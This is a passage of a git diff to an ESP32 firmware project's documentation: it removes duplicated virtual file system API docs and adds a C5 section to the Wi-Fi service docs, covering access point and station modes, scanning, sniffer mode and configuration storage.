`vfs_readdir` / `vfs_closedir` + +```c +vfs_dir_t vfs_opendir(const char *path); +esp_err_t vfs_readdir(vfs_dir_t dir, vfs_stat_t *entry); +esp_err_t vfs_closedir(vfs_dir_t dir); +``` + +Directory traversal using iterator pattern. + +--- + +#### `vfs_list_dir` + +```c +typedef void (*vfs_dir_callback_t)(const vfs_stat_t *entry, void *user_data); +esp_err_t vfs_list_dir(const char *path, vfs_dir_callback_t callback, void *user_data); +``` + +Lists directory contents using callback. + +--- + +### Filesystem Information + +#### `vfs_statvfs` + +```c +esp_err_t vfs_statvfs(const char *path, vfs_statvfs_t *stat); +``` + +Gets filesystem statistics. + +--- + +#### `vfs_get_free_space` + +```c +esp_err_t vfs_get_free_space(const char *path, uint64_t *free_bytes); +``` + +Gets available free space. + +--- + +#### `vfs_get_usage_percent` + +```c +esp_err_t vfs_get_usage_percent(const char *path, float *percentage); +``` + +Calculates filesystem usage percentage. + +--- + +### High-Level Helpers + +These functions simplify common operations by handling open/close internally. + +#### `vfs_read_file` + +```c +esp_err_t vfs_read_file(const char *path, void *buf, size_t size, size_t *bytes_read); +``` + +Reads entire file content in one operation. + +--- + +#### `vfs_write_file` + +```c +esp_err_t vfs_write_file(const char *path, const void *buf, size_t size); +``` + +Writes data to file, creating or overwriting it. + +--- + +#### `vfs_append_file` + +```c +esp_err_t vfs_append_file(const char *path, const void *buf, size_t size); +``` + +Appends data to end of file. + +--- + +#### `vfs_copy_file` + +```c +esp_err_t vfs_copy_file(const char *src, const char *dst); +``` + +Copies a file. + +--- + +## Backend-Specific APIs + +### SD Card Backend + +```c +#include "vfs_sdcard.h" + +esp_err_t vfs_sdcard_init(void); +esp_err_t vfs_sdcard_deinit(void); +bool vfs_sdcard_is_mounted(void); +void vfs_sdcard_print_info(void); +esp_err_t vfs_sdcard_format(void); +``` + +### LittleFS Backend + +```c +#include "vfs_littlefs.h" + +esp_err_t vfs_littlefs_init(void); +esp_err_t vfs_littlefs_deinit(void); +bool vfs_littlefs_is_mounted(void); +void vfs_littlefs_print_info(void); +esp_err_t vfs_littlefs_format(void); +``` + +--- + +## Switching Backends + +To switch between storage backends, edit `vfs_config.h`: + +```c +// From SD Card: +#define VFS_USE_SD_CARD + +// To LittleFS: +// #define VFS_USE_SD_CARD +#define VFS_USE_LITTLEFS +``` + +Rebuild your project. All `vfs_*` function calls remain the same. + +--- + +## Best Practices + +1. **Consider Storage API first** - Use VFS only when you need low-level control +2. **Always check return values** - Especially for `vfs_open()` and `vfs_init_auto()` +3. **Close file descriptors** - Always call `vfs_close()` when done +4. **Use absolute paths** - Include mount point (e.g., "/sdcard/file.txt") +5. **Single backend only** - Never uncomment multiple backends in `vfs_config.h` \ No newline at end of file diff --git a/docs/storage_vfs/c5.md b/docs/storage_vfs/c5.md deleted file mode 100644 index a60e33631..000000000 --- a/docs/storage_vfs/c5.md +++ /dev/null @@ -1,547 +0,0 @@ -# Virtual File System (VFS) - Unified Storage Abstraction - -The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). - -## Overview - -- **Location:** `components/storage/vfs/` -- **Main Headers:** - - `include/vfs_core.h` (Core API) - - `include/vfs_config.h` (Backend selection) - - `include/vfs_sdcard.h` (SD Card backend) - - `include/vfs_littlefs.h` (LittleFS backend) -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `esp_littlefs`, `sdmmc`, `spi` - -## Architecture Position - -``` -Application Code - ↓ - Storage API ← Recommended for most applications - ↓ - VFS Core ← You are here (low-level abstraction) - ↓ -Backend-Specific Drivers (SD/LittleFS/SPIFFS/RAM) -``` - -**When to use VFS directly:** -- You need POSIX-like file descriptor operations -- You want manual control over open/read/write/close -- Storage API doesn't provide what you need -- You're building your own storage abstraction - -**When NOT to use VFS:** -- For simple file operations → Use **Storage API** instead -- For read-only assets → Use **Storage Assets** instead - ---- - -## Key Features - -- **Multiple Backends:** Support for SD Card (FAT), SPIFFS, LittleFS, and RAM filesystem -- **Single Backend Selection:** Compile-time selection ensures only one backend is active -- **POSIX-Like API:** Familiar file operations (open, read, write, close, lseek) -- **Directory Operations:** Full directory tree manipulation -- **Backend Abstraction:** Switch storage backends by changing configuration - ---- - -## Backend Selection (Compile-Time) - -The VFS system uses **compile-time backend selection** to ensure only one storage backend is active. - -Edit `vfs_config.h`: - -```c -// Only ONE backend can be uncommented at a time - -#define VFS_USE_SD_CARD // ← Active backend -// #define VFS_USE_SPIFFS -// #define VFS_USE_LITTLEFS -// #define VFS_USE_RAMFS -``` - -**Important:** The system validates this at compile time and will error if multiple backends are selected. - -### Backend Configurations - -Each backend has specific configuration in `vfs_config.h`: - -#### SD Card Backend -```c -#define VFS_MOUNT_POINT "/sdcard" -#define VFS_MAX_FILES 10 -#define VFS_FORMAT_ON_FAIL false -#define VFS_BACKEND_NAME "SD Card" -``` - -#### LittleFS Backend -```c -#define VFS_MOUNT_POINT "/littlefs" -#define VFS_MAX_FILES 10 -#define VFS_FORMAT_ON_FAIL true -#define VFS_PARTITION_LABEL "storage" -#define VFS_BACKEND_NAME "LittleFS" -``` - ---- - -## Data Structures - -### File Descriptor - -```c -typedef int vfs_fd_t; -#define VFS_INVALID_FD -1 -``` - -File descriptor for open files. Similar to POSIX file descriptors. - ---- - -### File/Directory Information - -```c -typedef struct { - char name[VFS_MAX_NAME]; // Entry name (64 chars max) - vfs_entry_type_t type; // VFS_TYPE_FILE or VFS_TYPE_DIR - size_t size; // File size in bytes - time_t mtime; // Last modification time - time_t ctime; // Creation time - bool is_hidden; // Hidden attribute - bool is_readonly; // Read-only attribute -} vfs_stat_t; -``` - ---- - -### Filesystem Statistics - -```c -typedef struct { - uint64_t total_bytes; // Total filesystem capacity - uint64_t free_bytes; // Available free space - uint64_t used_bytes; // Space currently in use - uint32_t block_size; // Filesystem block size - uint32_t total_blocks; // Total number of blocks - uint32_t free_blocks; // Available free blocks -} vfs_statvfs_t; -``` - ---- - -## Core API Reference - -### Initialization - -#### `vfs_init_auto` - -```c -esp_err_t vfs_init_auto(void); -``` - -Initializes the VFS backend selected in `vfs_config.h`. - -**Returns:** -- `ESP_OK` - Backend initialized and mounted successfully -- `ESP_FAIL` - Initialization failed (check logs) - ---- - -#### `vfs_deinit_auto` - -```c -esp_err_t vfs_deinit_auto(void); -``` - -Unmounts and deinitializes the active VFS backend. - -**Returns:** -- `ESP_OK` - Backend deinitialized successfully -- `ESP_FAIL` - Deinitialization failed - ---- - -#### `vfs_is_mounted_auto` - -```c -bool vfs_is_mounted_auto(void); -``` - -Checks if the active backend is currently mounted. - ---- - -#### `vfs_get_mount_point` - -```c -const char* vfs_get_mount_point(void); -``` - -Returns the mount point path for the active backend (e.g., "/sdcard", "/littlefs"). - ---- - -#### `vfs_get_backend_name` - -```c -const char* vfs_get_backend_name(void); -``` - -Returns the human-readable name of the active backend (e.g., "SD Card", "LittleFS"). - ---- - -#### `vfs_print_info` - -```c -void vfs_print_info(void); -``` - -Prints detailed information about the active VFS backend to the console, including mount point, capacity, and usage statistics. - ---- - -### File Operations (POSIX-like) - -#### `vfs_open` - -```c -vfs_fd_t vfs_open(const char *path, int flags, int mode); -``` - -Opens a file with specified flags and permissions. - -**Parameters:** -- `path` - Full path to file (e.g., "/sdcard/data.txt") -- `flags` - Opening mode flags (bitwise OR): - - `VFS_O_RDONLY` - Read-only - - `VFS_O_WRONLY` - Write-only - - `VFS_O_RDWR` - Read and write - - `VFS_O_CREAT` - Create if doesn't exist - - `VFS_O_TRUNC` - Truncate to zero length - - `VFS_O_APPEND` - Append to end of file - - `VFS_O_EXCL` - Fail if file exists (with O_CREAT) -- `mode` - File permissions (POSIX mode, e.g., 0644) - -**Returns:** -- Valid file descriptor (>= 0) on success -- `VFS_INVALID_FD` on failure - ---- - -#### `vfs_read` - -```c -ssize_t vfs_read(vfs_fd_t fd, void *buf, size_t size); -``` - -Reads data from an open file. - -**Returns:** -- Number of bytes read (>= 0) -- -1 on error - ---- - -#### `vfs_write` - -```c -ssize_t vfs_write(vfs_fd_t fd, const void *buf, size_t size); -``` - -Writes data to an open file. - -**Returns:** -- Number of bytes written (>= 0) -- -1 on error - ---- - -#### `vfs_lseek` - -```c -off_t vfs_lseek(vfs_fd_t fd, off_t offset, int whence); -``` - -Moves the file position pointer. - -**Parameters:** -- `whence` - Reference point: - - `VFS_SEEK_SET` - From beginning of file - - `VFS_SEEK_CUR` - From current position - - `VFS_SEEK_END` - From end of file - -**Returns:** -- New file position on success -- -1 on error - ---- - -#### `vfs_close` - -```c -esp_err_t vfs_close(vfs_fd_t fd); -``` - -Closes an open file descriptor. - ---- - -#### `vfs_fsync` - -```c -esp_err_t vfs_fsync(vfs_fd_t fd); -``` - -Flushes file buffers to storage, ensuring data is physically written. - ---- - -### File Metadata - -#### `vfs_stat` - -```c -esp_err_t vfs_stat(const char *path, vfs_stat_t *st); -``` - -Gets information about a file or directory. - ---- - -#### `vfs_exists` - -```c -bool vfs_exists(const char *path); -``` - -Checks if a file or directory exists. - ---- - -#### `vfs_get_size` - -```c -esp_err_t vfs_get_size(const char *path, size_t *size); -``` - -Gets the size of a file in bytes. - ---- - -### File Management - -#### `vfs_rename` - -```c -esp_err_t vfs_rename(const char *old_path, const char *new_path); -``` - -Renames or moves a file. - ---- - -#### `vfs_unlink` - -```c -esp_err_t vfs_unlink(const char *path); -``` - -Deletes a file. - ---- - -#### `vfs_truncate` - -```c -esp_err_t vfs_truncate(const char *path, off_t length); -``` - -Resizes a file to the specified length. - ---- - -### Directory Operations - -#### `vfs_mkdir` - -```c -esp_err_t vfs_mkdir(const char *path, int mode); -``` - -Creates a new directory. - ---- - -#### `vfs_rmdir` - -```c -esp_err_t vfs_rmdir(const char *path); -``` - -Removes an empty directory. - ---- - -#### `vfs_rmdir_recursive` - -```c -esp_err_t vfs_rmdir_recursive(const char *path); -``` - -Recursively removes a directory and all its contents. - ---- - -#### `vfs_opendir` / `vfs_readdir` / `vfs_closedir` - -```c -vfs_dir_t vfs_opendir(const char *path); -esp_err_t vfs_readdir(vfs_dir_t dir, vfs_stat_t *entry); -esp_err_t vfs_closedir(vfs_dir_t dir); -``` - -Directory traversal using iterator pattern. - ---- - -#### `vfs_list_dir` - -```c -typedef void (*vfs_dir_callback_t)(const vfs_stat_t *entry, void *user_data); -esp_err_t vfs_list_dir(const char *path, vfs_dir_callback_t callback, void *user_data); -``` - -Lists directory contents using callback. - ---- - -### Filesystem Information - -#### `vfs_statvfs` - -```c -esp_err_t vfs_statvfs(const char *path, vfs_statvfs_t *stat); -``` - -Gets filesystem statistics. - ---- - -#### `vfs_get_free_space` - -```c -esp_err_t vfs_get_free_space(const char *path, uint64_t *free_bytes); -``` - -Gets available free space. - ---- - -#### `vfs_get_usage_percent` - -```c -esp_err_t vfs_get_usage_percent(const char *path, float *percentage); -``` - -Calculates filesystem usage percentage. - ---- - -### High-Level Helpers - -These functions simplify common operations by handling open/close internally. - -#### `vfs_read_file` - -```c -esp_err_t vfs_read_file(const char *path, void *buf, size_t size, size_t *bytes_read); -``` - -Reads entire file content in one operation. - ---- - -#### `vfs_write_file` - -```c -esp_err_t vfs_write_file(const char *path, const void *buf, size_t size); -``` - -Writes data to file, creating or overwriting it. - ---- - -#### `vfs_append_file` - -```c -esp_err_t vfs_append_file(const char *path, const void *buf, size_t size); -``` - -Appends data to end of file. - ---- - -#### `vfs_copy_file` - -```c -esp_err_t vfs_copy_file(const char *src, const char *dst); -``` - -Copies a file. - ---- - -## Backend-Specific APIs - -### SD Card Backend - -```c -#include "vfs_sdcard.h" - -esp_err_t vfs_sdcard_init(void); -esp_err_t vfs_sdcard_deinit(void); -bool vfs_sdcard_is_mounted(void); -void vfs_sdcard_print_info(void); -esp_err_t vfs_sdcard_format(void); -``` - -### LittleFS Backend - -```c -#include "vfs_littlefs.h" - -esp_err_t vfs_littlefs_init(void); -esp_err_t vfs_littlefs_deinit(void); -bool vfs_littlefs_is_mounted(void); -void vfs_littlefs_print_info(void); -esp_err_t vfs_littlefs_format(void); -``` - ---- - -## Switching Backends - -To switch between storage backends, edit `vfs_config.h`: - -```c -// From SD Card: -#define VFS_USE_SD_CARD - -// To LittleFS: -// #define VFS_USE_SD_CARD -#define VFS_USE_LITTLEFS -``` - -Rebuild your project. All `vfs_*` function calls remain the same. - ---- - -## Best Practices - -1. **Consider Storage API first** - Use VFS only when you need low-level control -2. **Always check return values** - Especially for `vfs_open()` and `vfs_init_auto()` -3. **Close file descriptors** - Always call `vfs_close()` when done -4. **Use absolute paths** - Include mount point (e.g., "/sdcard/file.txt") -5. **Single backend only** - Never uncomment multiple backends in `vfs_config.h` \ No newline at end of file diff --git a/docs/storage_vfs/p4.md b/docs/storage_vfs/p4.md deleted file mode 100644 index 65b3c7a8a..000000000 --- a/docs/storage_vfs/p4.md +++ /dev/null @@ -1,547 +0,0 @@ -# Virtual File System (VFS) - Unified Storage Abstraction - -The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). - -## Overview - -- **Location:** `components/Service/storage_vfs/` -- **Main Headers:** - - `include/vfs_core.h` (Core API) - - `include/vfs_config.h` (Backend selection) - - `include/vfs_sdcard.h` (SD Card backend) - - `include/vfs_littlefs.h` (LittleFS backend) -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `esp_littlefs`, `sdmmc`, `spi` - -## Architecture Position - -``` -Application Code - ↓ - Storage API ← Recommended for most applications - ↓ - VFS Core ← You are here (low-level abstraction) - ↓ -Backend-Specific Drivers (SD/LittleFS/SPIFFS/RAM) -``` - -**When to use VFS directly:** -- You need POSIX-like file descriptor operations -- You want manual control over open/read/write/close -- Storage API doesn't provide what you need -- You're building your own storage abstraction - -**When NOT to use VFS:** -- For simple file operations → Use **Storage API** instead -- For read-only assets → Use **Storage Assets** instead - ---- - -## Key Features - -- **Multiple Backends:** Support for SD Card (FAT), SPIFFS, LittleFS, and RAM filesystem -- **Single Backend Selection:** Compile-time selection ensures only one backend is active -- **POSIX-Like API:** Familiar file operations (open, read, write, close, lseek) -- **Directory Operations:** Full directory tree manipulation -- **Backend Abstraction:** Switch storage backends by changing configuration - ---- - -## Backend Selection (Compile-Time) - -The VFS system uses **compile-time backend selection** to ensure only one storage backend is active. - -Edit `vfs_config.h`: - -```c -// Only ONE backend can be uncommented at a time - -#define VFS_USE_SD_CARD // ← Active backend -// #define VFS_USE_SPIFFS -// #define VFS_USE_LITTLEFS -// #define VFS_USE_RAMFS -``` - -**Important:** The system validates this at compile time and will error if multiple backends are selected. - -### Backend Configurations - -Each backend has specific configuration in `vfs_config.h`: - -#### SD Card Backend -```c -#define VFS_MOUNT_POINT "/sdcard" -#define VFS_MAX_FILES 10 -#define VFS_FORMAT_ON_FAIL false -#define VFS_BACKEND_NAME "SD Card" -``` - -#### LittleFS Backend -```c -#define VFS_MOUNT_POINT "/littlefs" -#define VFS_MAX_FILES 10 -#define VFS_FORMAT_ON_FAIL true -#define VFS_PARTITION_LABEL "storage" -#define VFS_BACKEND_NAME "LittleFS" -``` - ---- - -## Data Structures - -### File Descriptor - -```c -typedef int vfs_fd_t; -#define VFS_INVALID_FD -1 -``` - -File descriptor for open files. Similar to POSIX file descriptors. - ---- - -### File/Directory Information - -```c -typedef struct { - char name[VFS_MAX_NAME]; // Entry name (64 chars max) - vfs_entry_type_t type; // VFS_TYPE_FILE or VFS_TYPE_DIR - size_t size; // File size in bytes - time_t mtime; // Last modification time - time_t ctime; // Creation time - bool is_hidden; // Hidden attribute - bool is_readonly; // Read-only attribute -} vfs_stat_t; -``` - ---- - -### Filesystem Statistics - -```c -typedef struct { - uint64_t total_bytes; // Total filesystem capacity - uint64_t free_bytes; // Available free space - uint64_t used_bytes; // Space currently in use - uint32_t block_size; // Filesystem block size - uint32_t total_blocks; // Total number of blocks - uint32_t free_blocks; // Available free blocks -} vfs_statvfs_t; -``` - ---- - -## Core API Reference - -### Initialization - -#### `vfs_init_auto` - -```c -esp_err_t vfs_init_auto(void); -``` - -Initializes the VFS backend selected in `vfs_config.h`. - -**Returns:** -- `ESP_OK` - Backend initialized and mounted successfully -- `ESP_FAIL` - Initialization failed (check logs) - ---- - -#### `vfs_deinit_auto` - -```c -esp_err_t vfs_deinit_auto(void); -``` - -Unmounts and deinitializes the active VFS backend. - -**Returns:** -- `ESP_OK` - Backend deinitialized successfully -- `ESP_FAIL` - Deinitialization failed - ---- - -#### `vfs_is_mounted_auto` - -```c -bool vfs_is_mounted_auto(void); -``` - -Checks if the active backend is currently mounted. - ---- - -#### `vfs_get_mount_point` - -```c -const char* vfs_get_mount_point(void); -``` - -Returns the mount point path for the active backend (e.g., "/sdcard", "/littlefs"). - ---- - -#### `vfs_get_backend_name` - -```c -const char* vfs_get_backend_name(void); -``` - -Returns the human-readable name of the active backend (e.g., "SD Card", "LittleFS"). - ---- - -#### `vfs_print_info` - -```c -void vfs_print_info(void); -``` - -Prints detailed information about the active VFS backend to the console, including mount point, capacity, and usage statistics. - ---- - -### File Operations (POSIX-like) - -#### `vfs_open` - -```c -vfs_fd_t vfs_open(const char *path, int flags, int mode); -``` - -Opens a file with specified flags and permissions. - -**Parameters:** -- `path` - Full path to file (e.g., "/sdcard/data.txt") -- `flags` - Opening mode flags (bitwise OR): - - `VFS_O_RDONLY` - Read-only - - `VFS_O_WRONLY` - Write-only - - `VFS_O_RDWR` - Read and write - - `VFS_O_CREAT` - Create if doesn't exist - - `VFS_O_TRUNC` - Truncate to zero length - - `VFS_O_APPEND` - Append to end of file - - `VFS_O_EXCL` - Fail if file exists (with O_CREAT) -- `mode` - File permissions (POSIX mode, e.g., 0644) - -**Returns:** -- Valid file descriptor (>= 0) on success -- `VFS_INVALID_FD` on failure - ---- - -#### `vfs_read` - -```c -ssize_t vfs_read(vfs_fd_t fd, void *buf, size_t size); -``` - -Reads data from an open file. - -**Returns:** -- Number of bytes read (>= 0) -- -1 on error - ---- - -#### `vfs_write` - -```c -ssize_t vfs_write(vfs_fd_t fd, const void *buf, size_t size); -``` - -Writes data to an open file. - -**Returns:** -- Number of bytes written (>= 0) -- -1 on error - ---- - -#### `vfs_lseek` - -```c -off_t vfs_lseek(vfs_fd_t fd, off_t offset, int whence); -``` - -Moves the file position pointer. - -**Parameters:** -- `whence` - Reference point: - - `VFS_SEEK_SET` - From beginning of file - - `VFS_SEEK_CUR` - From current position - - `VFS_SEEK_END` - From end of file - -**Returns:** -- New file position on success -- -1 on error - ---- - -#### `vfs_close` - -```c -esp_err_t vfs_close(vfs_fd_t fd); -``` - -Closes an open file descriptor. - ---- - -#### `vfs_fsync` - -```c -esp_err_t vfs_fsync(vfs_fd_t fd); -``` - -Flushes file buffers to storage, ensuring data is physically written. - ---- - -### File Metadata - -#### `vfs_stat` - -```c -esp_err_t vfs_stat(const char *path, vfs_stat_t *st); -``` - -Gets information about a file or directory. - ---- - -#### `vfs_exists` - -```c -bool vfs_exists(const char *path); -``` - -Checks if a file or directory exists. - ---- - -#### `vfs_get_size` - -```c -esp_err_t vfs_get_size(const char *path, size_t *size); -``` - -Gets the size of a file in bytes. - ---- - -### File Management - -#### `vfs_rename` - -```c -esp_err_t vfs_rename(const char *old_path, const char *new_path); -``` - -Renames or moves a file. - ---- - -#### `vfs_unlink` - -```c -esp_err_t vfs_unlink(const char *path); -``` - -Deletes a file. - ---- - -#### `vfs_truncate` - -```c -esp_err_t vfs_truncate(const char *path, off_t length); -``` - -Resizes a file to the specified length. - ---- - -### Directory Operations - -#### `vfs_mkdir` - -```c -esp_err_t vfs_mkdir(const char *path, int mode); -``` - -Creates a new directory. - ---- - -#### `vfs_rmdir` - -```c -esp_err_t vfs_rmdir(const char *path); -``` - -Removes an empty directory. - ---- - -#### `vfs_rmdir_recursive` - -```c -esp_err_t vfs_rmdir_recursive(const char *path); -``` - -Recursively removes a directory and all its contents. - ---- - -#### `vfs_opendir` / `vfs_readdir` / `vfs_closedir` - -```c -vfs_dir_t vfs_opendir(const char *path); -esp_err_t vfs_readdir(vfs_dir_t dir, vfs_stat_t *entry); -esp_err_t vfs_closedir(vfs_dir_t dir); -``` - -Directory traversal using iterator pattern. - ---- - -#### `vfs_list_dir` - -```c -typedef void (*vfs_dir_callback_t)(const vfs_stat_t *entry, void *user_data); -esp_err_t vfs_list_dir(const char *path, vfs_dir_callback_t callback, void *user_data); -``` - -Lists directory contents using callback. - ---- - -### Filesystem Information - -#### `vfs_statvfs` - -```c -esp_err_t vfs_statvfs(const char *path, vfs_statvfs_t *stat); -``` - -Gets filesystem statistics. - ---- - -#### `vfs_get_free_space` - -```c -esp_err_t vfs_get_free_space(const char *path, uint64_t *free_bytes); -``` - -Gets available free space. - ---- - -#### `vfs_get_usage_percent` - -```c -esp_err_t vfs_get_usage_percent(const char *path, float *percentage); -``` - -Calculates filesystem usage percentage. - ---- - -### High-Level Helpers - -These functions simplify common operations by handling open/close internally. - -#### `vfs_read_file` - -```c -esp_err_t vfs_read_file(const char *path, void *buf, size_t size, size_t *bytes_read); -``` - -Reads entire file content in one operation. - ---- - -#### `vfs_write_file` - -```c -esp_err_t vfs_write_file(const char *path, const void *buf, size_t size); -``` - -Writes data to file, creating or overwriting it. - ---- - -#### `vfs_append_file` - -```c -esp_err_t vfs_append_file(const char *path, const void *buf, size_t size); -``` - -Appends data to end of file. - ---- - -#### `vfs_copy_file` - -```c -esp_err_t vfs_copy_file(const char *src, const char *dst); -``` - -Copies a file. - ---- - -## Backend-Specific APIs - -### SD Card Backend - -```c -#include "vfs_sdcard.h" - -esp_err_t vfs_sdcard_init(void); -esp_err_t vfs_sdcard_deinit(void); -bool vfs_sdcard_is_mounted(void); -void vfs_sdcard_print_info(void); -esp_err_t vfs_sdcard_format(void); -``` - -### LittleFS Backend - -```c -#include "vfs_littlefs.h" - -esp_err_t vfs_littlefs_init(void); -esp_err_t vfs_littlefs_deinit(void); -bool vfs_littlefs_is_mounted(void); -void vfs_littlefs_print_info(void); -esp_err_t vfs_littlefs_format(void); -``` - ---- - -## Switching Backends - -To switch between storage backends, edit `vfs_config.h`: - -```c -// From SD Card: -#define VFS_USE_SD_CARD - -// To LittleFS: -// #define VFS_USE_SD_CARD -#define VFS_USE_LITTLEFS -``` - -Rebuild your project. All `vfs_*` function calls remain the same. - ---- - -## Best Practices - -1. **Consider Storage API first** - Use VFS only when you need low-level control -2. **Always check return values** - Especially for `vfs_open()` and `vfs_init_auto()` -3. **Close file descriptors** - Always call `vfs_close()` when done -4. **Use absolute paths** - Include mount point (e.g., "/sdcard/file.txt") -5. **Single backend only** - Never uncomment multiple backends in `vfs_config.h` \ No newline at end of file diff --git a/docs/wifi/p4.md b/docs/wifi/README.md similarity index 50% rename from docs/wifi/p4.md rename to docs/wifi/README.md index 877393def..26fa45a1e 100644 --- a/docs/wifi/p4.md +++ b/docs/wifi/README.md @@ -1,4 +1,4 @@ -# Wi-Fi Service Component Documentation +# P4 This component manages Wi-Fi functionalities including Access Point (AP) mode, Station (STA) mode, scanning, and configuration persistence using JSON files. @@ -182,3 +182,190 @@ The channel hopping feature runs as a static FreeRTOS task. It uses `esp_wifi_se - **PSRAM Allocation:** Critical tasks and large buffers are allocated in PSRAM to preserve internal memory. - **Type Casting:** `event_data` is cast to specific event structures (e.g., `wifi_event_ap_staconnected_t*`) within handlers. - **String Handling:** `strncpy` is used safely with explicit null-termination to prevent buffer overflows when handling SSIDs and passwords. + +--- + +# C5 + +This component manages Wi-Fi functionalities including Access Point (AP) mode, Station (STA) mode, scanning, and configuration persistence using JSON files. + +## Functionality Overview + +The service handles: +- **Initialization/Deinitialization:** Setup of NVS, Netif, Event Loops, and Wi-Fi drivers. +- **Access Point (AP):** Configurable SSID, password, max connections, and custom IP address. +- **Scanning:** Active scanning for nearby networks. +- **Station (STA):** Connecting to external Wi-Fi networks. +- **Hotspot Management:** Dynamic switching of AP configuration. +- **Promiscuous Mode:** Low-level packet sniffing and environment monitoring. +- **Channel Hopping:** Automated cycling through Wi-Fi channels for environment monitoring. +- **Configuration Persistence:** Loading and saving AP settings to/from `assets/config/wifi/wifi_ap.conf`. +- **Known Networks:** Automatically saves connected network credentials to `assets/storage/wifi/know_networks.json`. + +## API Functions + +### Initialization & Lifecycle + +#### `wifi_service_init` +```c +void wifi_service_init(void); +``` +Initializes the Wi-Fi stack in `APSTA` mode. +- Initializes NVS (performing erase if necessary). +- Sets up the default event loop and registers handlers. +- Loads AP configuration from storage (or uses defaults "Darth Maul"/"MyPassword123"). +- Configures the static IP (default: 192.168.4.1) and starts the DHCP server. + +#### `wifi_service_deinit` +```c +void wifi_service_deinit(void); +``` +Completely shuts down the Wi-Fi service. +- Stops the Wi-Fi driver. +- Unregisters event handlers. +- Deinitializes the driver. +- Frees synchronization primitives (mutexes) and clears static data. + +#### `wifi_service_start` / `wifi_service_stop` +```c +void wifi_service_start(void); +void wifi_service_stop(void); +``` +Simple wrappers to start or stop the Wi-Fi driver without full deinitialization. `wifi_service_stop` also clears stored scan results. + +### Scanning + +#### `wifi_service_scan` +```c +void wifi_service_scan(void); +``` +Performs an active Wi-Fi scan. +- Uses a mutex to ensure thread safety. +- Stores up to `WIFI_SCAN_LIST_SIZE` results internally. +- Provides visual feedback via LEDs (Green for AP connection, Red for failures, Blue for scan success). + +#### `wifi_service_get_ap_count` +```c +uint16_t wifi_service_get_ap_count(void); +``` +Returns the number of networks found in the last scan. + +#### `wifi_service_get_ap_record` +```c +wifi_ap_record_t* wifi_service_get_ap_record(uint16_t index); +``` +Retrieves a pointer to a specific scan result record. Returns `NULL` if the index is invalid. + +### Connection & Management + +#### `wifi_service_connect_to_ap` +```c +esp_err_t wifi_service_connect_to_ap(const char *ssid, const char *password); +``` +Connects the device (as a station) to an external Access Point. +- Configures authentication mode based on the presence of a password (WPA2_PSK or OPEN). +- Disconnects any existing connection before attempting a new one. +- **Persistence:** Automatically saves the SSID and password to `assets/storage/wifi/know_networks.json`. If the network already exists, the password is updated. + +#### `wifi_service_is_connected` +```c +bool wifi_service_is_connected(void); +``` +Returns `true` if the device is currently connected to an external Wi-Fi network and has an IP address. + +#### `wifi_service_is_active` +```c +bool wifi_service_is_active(void); +``` +Returns `true` if the Wi-Fi service is started (driver initialized and interface up). + +#### `wifi_service_get_connected_ssid` +```c +const char* wifi_service_get_connected_ssid(void); +``` +Returns the SSID of the currently connected network. Returns `NULL` if not connected. + +#### `wifi_service_change_to_hotspot` +```c +void wifi_service_change_to_hotspot(const char *new_ssid); +``` +Dynamically reconfigures the device's Access Point to an **Open** network with the specified SSID. +- Stops the Wi-Fi driver briefly to apply changes. +- Sets `authmode` to `WIFI_AUTH_OPEN`. +- Restarts Wi-Fi with the new configuration. + +### Promiscuous Mode + +#### `wifi_service_promiscuous_start` +```c +void wifi_service_promiscuous_start(wifi_promiscuous_cb_t cb, wifi_promiscuous_filter_t *filter); +``` +Enables promiscuous mode (sniffer) with a custom callback and filter. +- `cb`: Function to handle captured packets. +- `filter`: Filter mask (e.g., `WIFI_PROMIS_FILTER_MASK_MGMT`). + +#### `wifi_service_promiscuous_stop` +```c +void wifi_service_promiscuous_stop(void); +``` +Disables promiscuous mode and clears the callback. + +### Channel Hopping + +#### `wifi_service_start_channel_hopping` +```c +void wifi_service_start_channel_hopping(void); +``` +Starts a background task that cycles the Wi-Fi interface through channels 1 to 13. +- Useful for promiscuous mode applications (e.g., deauth detection). +- Task memory is allocated in PSRAM if available. + +#### `wifi_service_stop_channel_hopping` +```c +void wifi_service_stop_channel_hopping(void); +``` +Stops the channel hopping task and frees associated memory resources. + +### Configuration Storage + +#### `wifi_service_save_ap_config` +```c +esp_err_t wifi_service_save_ap_config(const char *ssid, const char *password, uint8_t max_conn, const char *ip_addr, bool enabled); +``` +Saves the AP configuration to a JSON file (`/assets/config/wifi/wifi_ap.conf`). +- Uses `cJSON` to serialize settings. +- Persists data using the storage API. +- **State Management:** If `enabled` is `true` and Wi-Fi is inactive, it calls `wifi_service_start()`. If `enabled` is `false` and Wi-Fi is active, it calls `wifi_service_stop()`. + +#### Individual Setters +Helper functions to update a single configuration parameter while preserving others. They automatically save the config and trigger state changes if `enabled` is toggled. + +```c +esp_err_t wifi_service_set_enabled(bool enabled); +esp_err_t wifi_service_set_ap_ssid(const char *ssid); +esp_err_t wifi_service_set_ap_password(const char *password); +esp_err_t wifi_service_set_ap_max_conn(uint8_t max_conn); +esp_err_t wifi_service_set_ap_ip(const char *ip_addr); +``` + +**Internal Loader:** `wifi_service_load_ap_config` is called during initialization to read these settings. If `enabled` is found to be `false` in the config, `wifi_service_init` will initialize the driver but **not** start the radio. + +## Internal Implementation Details + +### Event Handling +A static `wifi_event_handler` manages Wi-Fi and IP events: +- **WIFI_EVENT_AP_STACONNECTED:** Logs the MAC of the connected station and blinks Green. +- **WIFI_EVENT_AP_STADISCONNECTED:** Blinks Red. +- **IP_EVENT_AP_STAIPASSIGNED:** Logs IP assignment and blinks Green. + +### Thread Safety +A `wifi_mutex` (Semaphore) is used to protect the scanning process (`wifi_service_scan`), preventing concurrent scan requests which could lead to resource conflicts. + +### Channel Hopping Task +The channel hopping feature runs as a static FreeRTOS task. It uses `esp_wifi_set_channel` to switch channels every 250ms. To optimize internal RAM usage, both the task stack and the Task Control Block (TCB) are allocated in **PSRAM** using the `SPIRAM` capability. + +### Castings & Memory Management +- **cJSON:** Used extensively for parsing and generating configuration files. +- **PSRAM Allocation:** Critical tasks and large buffers are allocated in PSRAM to preserve internal memory. +- **Type Casting:** `event_data` is cast to specific event structures (e.g., `wifi_event_ap_staconnected_t*`) within handlers. +- **String Handling:** `strncpy` is used safely with explicit 